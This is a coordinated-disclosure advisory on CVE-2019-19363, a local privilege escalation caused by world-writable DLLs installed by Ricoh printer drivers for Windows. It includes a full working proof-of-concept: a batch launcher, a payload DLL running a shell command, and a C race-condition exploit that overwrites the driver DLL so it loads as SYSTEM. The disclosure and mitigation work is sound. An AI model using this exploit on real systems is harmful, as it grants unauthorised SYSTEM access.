2020-01-22: Ricoh published an advisory. Fixes and mitigations have not been verified, yet.
2020-01-22: Advisory updated and published after 90 days of initial contact.

Affected Components

Printer drivers for Ricoh, Savin and Lanier printer brands are affected. The following drivers for Windows 10 are known to be affected:

SP 8300DN - PCL6 Driver for Universal Print, Ver.4.23.0.0, release date 10/08/2019: http://support.ricoh.com/bb/pub_e/dr_ut_e/0001315/0001315878/V42300/z87179L19.exe (SHA-256 064c1db754d43edbd8c9c23185b817d6 a29775c93c1049605f5d907a472d64ab)
SP 8300DN - PCL 6 Driver, Ver.1.5.0.0, release date 07/03/2016: http://support.ricoh.com/bb/pub_e/dr_ut_e/0001294/0001294259/V1500/z75198L13.exe (SHA-256 af2fa42905850f58879816956d322dc5 adfb1f89fbe7f6af830f465fbc0e3cc1)
P 501/502 - PCL 6 Driver, Ver.1.1.0.0, release date 03/02/2019: http://support.ricoh.com/bb/pub_e/dr_ut_e/0001311/0001311756/V1100/z84997L16.exe (SHA-256 564b27f16db12cafd15eec6057c75b3 0dbac25dbbebb4fd5598ad09dfaaad416)
MP C8003/C6503 series - PCL 6 Driver, Ver.1.2.0.0, release date 24/05/2017: http://support.ricoh.com/bb/pub_e/dr_ut_e/0001303/0001303915/V1200/z80159L15.exe (SHA-256 3ef2a1dc09e2dde71ed9db9f6c629ff 0140d172fbe71c9e376d391e3162090f0)

Especially the Universal Print driver supports a wide range of printer models. Furthermore, printers are also marketed under the brand names Savin and Lanier, which use the same drivers. Ricoh's advisory lists affected drivers and versions.

Technical Details

To reproduce the vulnerability, download an affected printer driver such as the PCL6 Driver for Universal Print, Version 4.23.0.0, self-extract the executable file and install the driver. Add a printer. In a standard Windows installation, adding a printer does not need an administrator account.

During the printer setup, the process of PrintIsolationHost.exe creates a directory c:\ProgramData\RICOH_DRV and installs several files in this location, including several DLL files. Every user has full control over the installed DLL files as show below, because these files are writable:

C:\>icacls "c:\ProgramData\RICOH_DRV\RICOH PCL6 UniversalDriver V4.23\_common\dlz\*.dll"
c:\ProgramData\RICOH_DRV\RICOH PCL6 UniversalDriver V4.23\_common\dlz\borderline.dll Everyone:(I)(F)
c:\ProgramData\RICOH_DRV\RICOH PCL6 UniversalDriver V4.23\_common\dlz\headerfooter.dll Everyone:(I)(F)
c:\ProgramData\RICOH_DRV\RICOH PCL6 UniversalDriver V4.23\_common\dlz\jobhook.dll Everyone:(I)(F)
c:\ProgramData\RICOH_DRV\RICOH PCL6 UniversalDriver V4.23\_common\dlz\overlaywatermark.dll Everyone:(I)(F)
c:\ProgramData\RICOH_DRV\RICOH PCL6 UniversalDriver V4.23\_common\dlz\popup.dll Everyone:(I)(F)
c:\ProgramData\RICOH_DRV\RICOH PCL6 UniversalDriver V4.23\_common\dlz\watermark.dll Everyone:(I)(F)

Successfully processed 6 files; Failed processing 0 files

The flag F means full access and the flag I means permissions are inherited from the parent directory. The inherited writable flag origins from a parent directory. In fact, the entire directory c:\ProgramData\RICOH_DRV grants full control to everyone:

C:\>icacls "c:\ProgramData\RICOH_DRV"
c:\ProgramData\RICOH_DRV Everyone:(OI)(CI)(F)

Successfully processed 1 files; Failed processing 0 files

Here OI means Object Inherit, CI Container Inherit, and F full access as above.

The printer isolation feature has been introduced in Windows 7 and Windows Server 2008 to not have the printer drivers in the same process as the spooler. The isolation should add stability for other user's print jobs.

Exploitation

When a DLL file from the c:\ProgramData\RICOH_DRV is overwritten in the right moment by a local attacker, the PrintIsolationHost.exe process loads the attacker-provided DLL file as shown in the screenshot below. Afterward, the library code gets executed with SYSTEM privileges, because the PrintIsolationHost.exe uses SYSTEM privileges. This attack idea has been implemented in a proof of concept exploit that is given in a later section of this advisory.

Precondition

To exploit the vulnerability, an attacker needs access to a Windows host as a regular user and must be able to install an affected Ricoh printer driver as well as to add printers. Adding printers is usually possible without administrative access.

Patches and Workaround

Please refer to Ricoh's advisory for mitigations and security patches. Please refer to Updates below.

Windows Group policies are a potential workaround. When group policies are used, there is a group policy to control installing printer drivers (Windows Settings -> Security Settings -> Local Policies -> Security Options -> Devices: Prevent Users From Installing Printer Drivers) and another group policy to control adding printers (User Configuration -> Administrative Templates -> Control Panel -> Printers -> Prevent addition of printers). When used, people cannot install drivers, respectively adding printers.

Credits

This vulnerability has been found by Alexander Pudwill, who also provided an initial proof of concept exploit in C#. Pentagrid AG independently validated the findings, fully automated the exploit process and handled the coordinated disclosure.

Proof of Concept Exploit

1. Launch Script

	`REM This example batch script executes the proof of concept exploit.`
	`REM Written by Pentagrid AG, 2019.`
	`REM See https://pentagrid.ch/en/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/`

	`SET DLL=watermark.dll`
	`SET STEPS=2`

	`SET PRINTERNAME=RICOH PCL6 UniversalDriver V4.23`
	`REM SET PRINTERNAME=RICOH Aficio SP 8300DN PCL 6`
	`REM SET PRINTERNAME=RICOH P 501 PCL 6`
	`REM SET PRINTERNAME=RICOH MP C6503 PCL 6`


	`PoC.exe ^`
	`"%PRINTERNAME%" ^`
	`"C:\ProgramData\RICOH_DRV\%PRINTERNAME%\_common\dlz\%DLL%" ^`
	`"RICOH_DRV\%PRINTERNAME%\_common\dlz\%DLL%" ^`
	`Dll.dll ^`
	`%STEPS%`

	`REM Wait for a moment`
	`timeout /t 5`
	`dir c:\result.txt`

2. Payload DLL

	`/*`

	`This proof of concept DLL executes a shell command with elevated privileges.`
	`Written by Pentagrid AG, 2019.`
	`Cf. https://pentagrid.ch/en/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/`
	`*/`

	`#include "stdafx.h"`
	`#include <shellapi.h>`

	`BOOL WINAPI DllMain( HMODULE hModule,`
	`DWORD ul_reason_for_call,`
	`LPVOID lpReserved) {`
	`WinExec("cmd.exe /c whoami > c:\\result.txt", SW_HIDE);`
	`return TRUE;`
	`}`

3. Exploit

	`/*`

	`This proof of concept code monitors file changes on Ricoh's driver DLL files and overwrites`
	`a DLL file before the library is loaded (CVE-2019-19363).`

	`Written by Pentagrid AG, 2019.`

	`Cf. https://pentagrid.ch/en/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/`

	`Credits: Alexander Pudwill`

	`This proof of concept code is based on the ReadDirectoryChangesW API call to`
	`get notified about changes on files and directories and reuses parts from the example from`
	`https://www.experts-exchange.com/questions/22507220/ReadDirectoryChangesW-FWATCH-MSDN-sample-not-working.html`

	`*/`
	`#include <stdio.h>`
	`#include <stdlib.h>`
	`#include <conio.h>`
	`#include <windows.h>`

	`#define MAX_BUFFER 4096`

	`int change_counter = 0;`
	`const WCHAR * const BaseDirName = L"C:\\ProgramData";`
	`const WCHAR * TargetDllFullFilePath, * TargetDLLRelFilePath, * MaliciousLibraryFile, * PrinterName;`
	`DWORD dwNotifyFilter = FILE_NOTIFY_CHANGE_LAST_WRITE \|`
	`FILE_NOTIFY_CHANGE_SIZE \|`
	`FILE_NOTIFY_CHANGE_LAST_ACCESS \|`
	`FILE_NOTIFY_CHANGE_CREATION;`

	`typedef struct _DIRECTORY_INFO {`
	`HANDLE hDir;`
	`TCHAR lpszDirName[MAX_PATH];`
	`CHAR lpBuffer[MAX_BUFFER];`
	`DWORD dwBufLength;`
	`OVERLAPPED Overlapped;`
	`} DIRECTORY_INFO, PDIRECTORY_INFO, LPDIRECTORY_INFO;`

	`DIRECTORY_INFO DirInfo;`

	`void WINAPI HandleDirectoryChange(DWORD dwCompletionPort) {`
	`DWORD numBytes, cbOffset;`
	`LPDIRECTORY_INFO di;`
	`LPOVERLAPPED lpOverlapped;`
	`PFILE_NOTIFY_INFORMATION fni;`
	`WCHAR FileName[MAX_PATH];`

	`do {`

	`GetQueuedCompletionStatus((HANDLE)dwCompletionPort, &numBytes, (LPDWORD)&di, &lpOverlapped, INFINITE);`

	`if (di) {`
	`fni = (PFILE_NOTIFY_INFORMATION)di->lpBuffer;`

	`do {`
	`cbOffset = fni->NextEntryOffset;`

	`// get filename`
	`size_t num_elem = fni->FileNameLength / sizeof(WCHAR);`
	`if (num_elem >= sizeof(FileName) / sizeof(WCHAR)) num_elem = 0;`

	`wcsncpy_s(FileName, sizeof(FileName)/sizeof(WCHAR), fni->FileName, num_elem);`
	`FileName[num_elem] = '\0';`
	`wprintf(L"+ Event for %s [%d]\n", FileName, change_counter);`

	`if (fni->Action == FILE_ACTION_MODIFIED) {`

	`if (!wcscmp(FileName, TargetDLLRelFilePath)) {`

	`if (change_counter > 0)`
	`change_counter--;`
	`if (change_counter == 0) {`
	`change_counter--;`

	`if (CopyFile(MaliciousLibraryFile, TargetDllFullFilePath, FALSE))`
	`wprintf(L"+ File %s copied to %s.\n", MaliciousLibraryFile, TargetDllFullFilePath);`

	`else {`
	`wchar_t buf[256];`

	`FormatMessageW(FORMAT_MESSAGE_FROM_SYSTEM \| FORMAT_MESSAGE_IGNORE_INSERTS,`
	`NULL, GetLastError(), MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),`
	`buf, (sizeof(buf) / sizeof(wchar_t)), NULL);`

	`wprintf(L"+ Failed to copy file %s to %s: %s\n", MaliciousLibraryFile, TargetDllFullFilePath, buf);`
	`}`

	`exit(1);`
	`} // end of trigger part`
	`}`
	`} // eo action mod`
	`fni = (PFILE_NOTIFY_INFORMATION)((LPBYTE)fni + cbOffset);`

	`} while (cbOffset);`

	`// Reissue the watch command`
	`ReadDirectoryChangesW(di->hDir, di->lpBuffer, MAX_BUFFER, TRUE, dwNotifyFilter, &di->dwBufLength, &di->Overlapped, NULL);`
	`}`
	`} while (di);`
	`}`

	`void WINAPI InstallPrinter() {`
	`WCHAR cmd_buf[1000];`
	`swprintf(cmd_buf, sizeof(cmd_buf), L"/c rundll32 printui.dll, PrintUIEntry /if /b \"Printer\" /r lpt1: /m \"%s\"", PrinterName);`
	`wprintf(L"+ Adding printer: %s\n", cmd_buf);`

	`unsigned long ret = (unsigned long) ShellExecuteW(0, L"open", L"cmd", cmd_buf, NULL, SW_HIDE);`
	`if(ret <= 32) // That seems to be the way to handle ShellExecuteW's ret value.`
	`wprintf(L"+ Failed launching command. Return value is %d\n", ret);`
	`}`

	`void WINAPI WatchDirectories(HANDLE hCompPort) {`
	`DWORD tid;`
	`HANDLE hThread;`

	`ReadDirectoryChangesW(DirInfo.hDir, DirInfo.lpBuffer, MAX_BUFFER, TRUE, dwNotifyFilter, &DirInfo.dwBufLength, &DirInfo.Overlapped, NULL);`

	`// Create a thread to sit on the directory changes`
	`hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)HandleDirectoryChange, hCompPort, 0, &tid);`

	`// Just loop and wait for the user to quit`
	`InstallPrinter();`
	`while (_getch() != 'q');`

	`// The user has quit - clean up`
	`PostQueuedCompletionStatus(hCompPort, 0, 0, NULL);`

	`// Wait for the Directory thread to finish before exiting`
	`WaitForSingleObject(hThread, INFINITE);`
	`CloseHandle(hThread);`
	`}`


	`int wmain(int argc, WCHAR *argv[]) {`
	`HANDLE hCompPort = NULL; // Handle To a Completion Port`

	`if (argc == 6) {`
	`PrinterName = argv[1];`
	`TargetDllFullFilePath = argv[2];`
	`TargetDLLRelFilePath = argv[3];`
	`MaliciousLibraryFile = argv[4];`
	`change_counter = _wtoi(argv[5]);`
	`}`
	`else {`
	`wprintf(L"+ Usage: %s <printer_name> <fullpath_monitor_dll> <rel_path_monitor_dll> <new_dll> <counter>\n", argv[0]);`
	`return 0;`
	`}`
	`wprintf(L"+ Monitoring directory %s\n", BaseDirName);`

	`// Get a handle to the directory`
	`DirInfo.hDir = CreateFile(BaseDirName,`
	`FILE_LIST_DIRECTORY,`
	`FILE_SHARE_READ \| FILE_SHARE_WRITE \| FILE_SHARE_DELETE,`
	`NULL,`
	`OPEN_EXISTING,`
	`FILE_FLAG_BACKUP_SEMANTICS \| FILE_FLAG_OVERLAPPED,`
	`NULL);`

	`if (DirInfo.hDir == INVALID_HANDLE_VALUE) {`
	`wprintf(L"Unable to open directory %s. GLE=%ld. Terminating...\n",`
	`BaseDirName, GetLastError());`
	`return 0;`
	`}`

	`lstrcpy(DirInfo.lpszDirName, BaseDirName);`

	`if (HANDLE hFile = CreateFile(TargetDllFullFilePath,`
	`GENERIC_WRITE,`
	`FILE_SHARE_READ \| FILE_SHARE_WRITE \| FILE_SHARE_DELETE,`
	`NULL,`
	`CREATE_ALWAYS,`
	`FILE_ATTRIBUTE_NORMAL,`
	`NULL)) {`
	`wprintf(L"+ File %s created\n", TargetDllFullFilePath);`
	`CloseHandle(hFile);`
	`}`
	`else`
	`wprintf(L"+ File %s could not be created\n", TargetDllFullFilePath);`


	`if ((hCompPort = CreateIoCompletionPort(DirInfo.hDir, hCompPort, (ULONG_PTR)&DirInfo, 0)) == NULL) {`
	`wprintf(L"+ CreateIoCompletionPort() failed.\n");`
	`return 0;`
	`}`

	`wprintf(L"+ Press <q> to exit\n");`

	`// Start watching`
	`WatchDirectories(hCompPort);`

	`CloseHandle(DirInfo.hDir);`
	`CloseHandle(hCompPort);`
	`return 1;`
	`}`

Updates

Update 2020-01-22: The old and vulnerable drivers are still valid. They are not revoked. We made a video of the proof of concept exploit in action. As a clarification, adding printers does not need administrative access, while installing the driver needs local admin access, but not when the driver is reinstalled and not, when installing printer drivers is allowed via GPOs.

Update 2020-01-31: Pentagrid had a look at the "PCL6 Driver for Universal Print, Version 4.26.0.0, Released Date: 01/17/2020" driver (https://support.ricoh.com/bb/pub_e/dr_ut_e/0001316/0001316926/V42600/z88755L19.exe). While the file permissions of the DLLs and the dlz directory are adjusted and do not grant any user write permissions, the permissions of the directories above this level have not changed and are still writeable.

Update 2020-03-05: Rapid7 released a metasploit module developed by Shelby Pace that exploits the Ricoh vulnerability.